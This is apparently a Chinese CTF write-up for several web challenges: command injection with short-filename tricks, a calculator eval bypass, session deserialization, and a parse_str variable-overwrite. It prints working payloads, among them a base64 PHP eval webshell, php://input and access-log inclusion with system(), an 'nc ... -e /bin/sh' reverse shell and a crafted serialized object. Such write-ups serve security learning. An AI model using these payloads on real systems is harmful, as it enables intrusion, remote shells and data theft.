2022七夕杯
签到
只能执行较短命令,不能回显,这个时候考虑到写入内容
涉及到重定向符
n > file 将文件描述符为 n 的文件重定向到 file。
这里的话我们可以用ls命令查看根目录,然后把他定向到一个自定义文件中
ls />a
此时我们去访问api/a
发现在根目录下,我们直接用flag的话又因为字符串长度过长而无法执行,这里的话我们直接用*,用nl命令来读
nl /*>b
方法二
参考文章
https://blog.csdn.net/nzjdsds/article/details/102873187
原理 就是按照顺序利用 >xx 写文件名 (重定向符写入, 文件内容为空), 然后利用 ls -t 按时间顺序列表, 最后写进一个文件里利用 sh 执行
因为 Linux 的特性, \ 表示命令输入没有结束, 会在下一行继续输入, 而 Linux 的文件名比较自由, 因此我们可以逐步将一个命令分散到多个文件之中, 然后配合上述方法执行
原语句
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
//<?php eval($_GET[1]);
构造payload
>hp
>1.ph\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0
接下来就可以RCE了
http://xxx/api/1.php?1=system('cat /flag');
calc
<?php
if(check($code)){
eval('$result='."$code".";");
echo($result);
}
function check(&$code){
$num1=$_POST['num1'];
$symbol=$_POST['symbol'];
$num2=$_POST['num2'];
if(!isset($num1) || !isset($num2) || !isset($symbol) ){
return false;
}
if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){
return false;
}
if(preg_match("/^[\+\-\*\/]$/", $symbol)){
$code = "$num1$symbol$num2";
return true;
}
return false;
}
可以使用伪协议
num1=1&symbol=-&num2=include"php://input"&a=<?php system('ls /');?>
查看flag
num1=1&symbol=-&num2=include"php://input"&a=<?php system('nl /secret');?>
也可以用日志包含的方式
num1=include "/var/log/nginx/access.log"&symbol=-&num2=1
UA:<?php system('cat /secret');?>
cmd
源码
<?php
error_reporting(0);
highlight_file(__FILE__);
$cmd=$_POST['cmd'];
if(preg_match("/^\b(ping|ls|nc|ifconfig)\b/",$cmd)){
exec(escapeshellcmd($cmd));
}
?>
使用nc命令反弹shell即可
nc xxx.xxx.xxx.xxx 端口 -e /bin/sh
2022新手杯
easy_eval
<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
if(isset($code)){
$code = str_replace("?","",$code);
eval("?>".$code);
}
ban了?>
,想起来之前buu有一道文件上传,绕过PHP方式是这样的
<script language="php">@eval($_POST['1']);</script>
这里看起来也适用
雀氏可以,接下来执行命令
剪刀石头布
看到题目有提示,php.ini
,先留个小印象,打开环境
随便输入一个0
,发现源码
源码如下
<?php
ini_set('session.serialize_handler', 'php');
if(isset($_POST['source'])){
highlight_file(__FILE__);
phpinfo();
die();
}
error_reporting(0);
include "flag.php";
class Game{
public $log,$name,$play;
public function __construct($name){
$this->name = $name;
$this->log = '/tmp/'.md5($name).'.log';
}
public function play($user_input,$bot_input){
$output = array('Rock'=>'✌🏻','Paper'=>'✊🏻','Scissors'=>'✋🏻');
$this->play = $user_input.$bot_input;
if($this->play == "RockRock" || $this->play == "PaperPaper" || $this->play == "ScissorsScissors"){
file_put_contents($this->log,"<div>".$output[$user_input].' VS '.$output[$bot_input]." Draw</div>\n",FILE_APPEND);
return "Draw";
} else if($this->play == "RockPaper" || $this->play == "PaperScissors" || $this->play == "ScissorsRock"){
file_put_contents($this->log,"<div>".$output[$user_input].' VS '.$output[$bot_input]." You Lose</div>\n",FILE_APPEND);
return "You Lose";
} else if($this->play == "RockScissors" || $this->play == "PaperRock" || $this->play == "ScissorsPaper"){
file_put_contents($this->log,"<div>".$output[$user_input].' VS '.$output[$bot_input]." You Win</div>\n",FILE_APPEND);
return "You Win";
}
}
public function __destruct(){
echo "<h5>Game History</h5>\n";
echo "<div class='all_output'>\n";
echo file_get_contents($this->log);
echo "</div>";
}
}
?>
这里看到了ini_set('session.serialize_handler', 'php');
,又看到类这些,感觉可能是Session反序列化,下面有输出Phpinfo信息,查看一下
发现这里是PHP引擎读取文件,且没有开启清理session的,同时可以监测session上传进度,这个时候我们就可以上传一个PHP_SESSION_UPLOAD_PROGRESS
同名文件,然后再上传一个其他文件,通过文件名实现反序列化,具体可以参考这篇文章
https://www.freebuf.com/articles/web/324519.html
接下来说一下反序列化思路,这里的话肯定是利用这个__destruct
里的file_get_contents
实现反序列化,那我们这里肯定就需要控制这个log
值实现读取文件,但是__construct
中对这个进行了md5加密,我们可以先这样构造出大致样子,再修改一下,exp如下
<?php
class Game{
public $log,$name,$play;
public function __construct($name){
$this->name = $name;
$this->log = '/tmp/'.md5($name).'.log';
}
public function play($user_input,$bot_input){
$output = array('Rock'=>'✌🏻','Paper'=>'✊🏻','Scissors'=>'✋🏻');
$this->play = $user_input.$bot_input;
if($this->play == "RockRock" || $this->play == "PaperPaper" || $this->play == "ScissorsScissors"){
file_put_contents($this->log,"<div>".$output[$user_input].' VS '.$output[$bot_input]." Draw</div>\n",FILE_APPEND);
return "Draw";
} else if($this->play == "RockPaper" || $this->play == "PaperScissors" || $this->play == "ScissorsRock"){
file_put_contents($this->log,"<div>".$output[$user_input].' VS '.$output[$bot_input]." You Lose</div>\n",FILE_APPEND);
return "You Lose";
} else if($this->play == "RockScissors" || $this->play == "PaperRock" || $this->play == "ScissorsPaper"){
file_put_contents($this->log,"<div>".$output[$user_input].' VS '.$output[$bot_input]." You Win</div>\n",FILE_APPEND);
return "You Win";
}
}
public function __destruct(){
echo "<h5>Game History</h5>\n";
echo "<div class='all_output'>\n";
echo file_get_contents($this->log);
echo "</div>";
}
}
$a = new Game("/var/www/html/flag.php");
echo serialize($a);
?>
得到
O:4:"Game":3:{s:3:"log";s:41:"/tmp/03e27f7414ab8c82dd5b454186c08d5e.log";s:4:"name";s:22:"/var/www/html/flag.php";s:4:"play";N;}
这里我们Game
中只需要log
,同时我们更改一下它的值就可以达到我们想要的效果,修正后如下
O:4:"Game":3:{s:3:"log";s:22:"/var/www/html/flag.php"}
但是当作为文件名时,还需要防止转义,所以需要在双引号前加上\
,即
O:4:\"Game\":1:{s:3:\"log\";s:22:\"/var/www/html/flag.php\";}
同时我们知道php读取文件是以|
为分界线,其前面的为键名,后面为键值,因此这里还需要在前面加一个|
,才符合语法,如下
|O:4:\"Game\":1:{s:3:\"log\";s:22:\"/var/www/html/flag.php\";}
语句构造完成,接下来构造一个上传文件的HTML界面,内容如下
<form action="http://27ce91d5-748f-4faa-8910-40740c93b91d.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="aaa" />
<input type="file" name="file" />
<input type="submit" />
</form>
随便选择一个文件
抓包,点击查询
修改filename值,发包
repairman
源码如下
<?php
error_reporting(0);
session_start();
$config['secret'] = Array();
include 'config.php';
if(isset($_COOKIE['secret'])){
$secret =& $_COOKIE['secret'];
}else{
$secret = Null;
}
if(empty($mode)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query']);
if(empty($mode)) {
echo 'Your mode is the guest!';
}
}
function cmd($cmd){
global $secret;
echo 'Sucess change the ini!The logs record you!';
exec($cmd);
$secret['secret'] = $secret;
$secret['id'] = $_SERVER['REMOTE_ADDR'];
$_SESSION['secret'] = $secret;
}
if($mode == '0'){
//echo var_dump($GLOBALS);
if($secret === md5('token')){
$secret = md5('test'.$config['secret']);
}
switch ($secret){
case md5('admin'.$config['secret']):
echo 999;
cmd($_POST['cmd']);
case md5('test'.$config['secret']):
echo 666;
$cmd = preg_replace('/[^a-z0-9]/is', 'hacker',$_POST['cmd']);
cmd($cmd);
default:
echo "hello,the repairman!";
highlight_file(__FILE__);
}
}elseif($mode == '1'){
echo '</br>hello,the user!We may change the mode to repaie the server,please keep it unchanged';
}else{
header('refresh:5;url=index.php?mode=1');
exit;
}
做题须知
parse_str函数可以实现变量覆盖(PHP Version=5.2)
我们简单看一下代码,就会发现这里想要执行命令,只有两个要求
1、$mode=0
2、$secret=md5('admin'.$config['secret'])
mode可以通过GET传参来操控,这个简单,主要是后者,想要实现这两者相等在平常看几乎是不可能的事情,而当我们看到parse_str
函数,想起来这个函数在特定的PHP版本下可以实现变量覆盖,我们这里就可以通过它来实现,构造payload如下
mode=0&config[secret]=quan9i&secret=d0d1793c5a69a65c168fcc722c474d3f
//d0d1793c5a69a65c168fcc722c474d3f为adminquan9i的md5加密值
可以看到这个时候已经可以执行命令了,但是我们会发现,这里执行命令的语句
exec($cmd);
它是没有回显的,因此我们这里不能直接查看,可以通过把它写入一个文件内的方式来查看
查看1.txt
查看config.php
cmd=cat config.php>1.txt